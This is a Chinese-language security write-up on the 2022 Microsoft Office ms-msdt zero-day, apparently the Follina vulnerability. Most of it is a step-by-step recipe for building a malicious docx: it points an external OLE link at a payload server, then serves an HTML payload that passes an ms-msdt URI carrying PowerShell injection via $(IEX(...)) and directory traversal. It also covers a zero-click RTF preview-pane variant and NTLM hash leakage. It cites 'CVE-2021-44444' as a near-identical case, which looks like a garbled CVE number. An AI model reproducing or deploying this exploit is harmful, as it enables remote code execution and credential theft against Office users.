信息:New Microsoft Office zero-day used in attacks to execute PowerShell
2022 年 5 月 29 日,Nao_Sec 团队,一个独立的网络安全研究团队,在 Virustotal 上发现了一个恶意的 Office 文档。该文档使用了一种不寻常但已知的方案来感染受害者。该方案未被某些 EDR(如 Microsoft Defender for Endpoint)检测为恶意。此漏洞可能导致无需用户交互即可执行代码,因为它不涉及宏,除非启用了受保护视图模式。目前尚未分配 CVE 编号。
该漏洞通过使用 MSProtocol URI 方案加载某些代码来被利用。攻击者可以在 Microsoft Office 文档、模板或电子邮件中嵌入恶意链接,这些链接以 ms-msdt: 开头,之后会在无需用户交互的情况下被加载并执行——除非启用了受保护视图模式。然而,将文档转换为 RTF 格式也可以绕过受保护视图功能。
MS Office docx 文件可能包含作为 HTML 文件的外部 OLE 对象引用。有一种 HTML 方案 ms-msdt: 会调用 msdt 诊断工具,该工具能够执行任意代码(在参数中指定)。
结果是,通过打开恶意 docx 文件(不涉及宏)即可实现 RCE 的可怕攻击向量。
以下是构建一个概念验证 docx 的步骤:
打开 Word(使用的是最新的 2019 Pro,16.0.10386.20017),创建一个虚拟文档,插入一个(OLE)对象(作为位图图像),并将其保存为 docx。
编辑 docx 结构中的 word/_rels/document.xml.rels(它是一个普通的 zip)。修改带有以下属性的 <Relationship> XML 标签
Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject"
和 Target="embeddings/oleObject1.bin",更改 Target 值并添加 TargetMode 属性:
Target = "http://<payload_server>/payload.html!"
TargetMode = "External"
注意 Id 值(可能为 "rId5")。
word/document.xml。搜索 <o:OLEObject ..> 标签(带有 r:id="rId5"),将属性从 Type="Embed" 改为 Type="Link",并添加属性 UpdateMode="OnCall"。注意:创建的恶意 docx 与 CVE-2021-44444 的几乎相同。
http://<payload_server>/payload.html 提供带有 ms-msdt 方案的 PoC(calc.exe 启动器)HTML 载荷:<!doctype html>
<html lang="en">
<body>
<script>
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA should be repeated >60 times
window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_SelectProgram=NotListed IT_BrowseForFile=h$(IEX('calc.exe'))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe \"";
</script>
</body>
</html>
请注意:
/../ 目录遍历。$() 中的代码将通过 PowerShell 执行,但空格会破坏它。.exe 必须是 IT_BrowseForFile 参数末尾存在的最后一个尾随字符串。此外,触发载荷可以访问远程位置。虽然这不太可能调用不受信任的二进制文件,但该连接仍会携带 NTLM 哈希(这意味着攻击者现在拥有受害者 Windows 密码的哈希),攻击者可能会将其用于进一步的后期利用。
如果你还在第 3 步的 word/document.xml 中的 <o:OLEObject> 元素下添加这些元素:
<o:LinkType>EnhancedMetaFile</o:LinkType>
<o:LockedField>false</o:LockedField>
<o:FieldCodes>\f 0</o:FieldCodes>
那么它也可以作为 RTF 工作(打开生成的 docx 并将其保存为 RTF)。
使用 RTF 时,无需在 Word 中打开文件,只需浏览到该文件并在预览窗格中查看即可。预览窗格会触发外部 HTML 载荷,无需任何点击即可实现 RCE。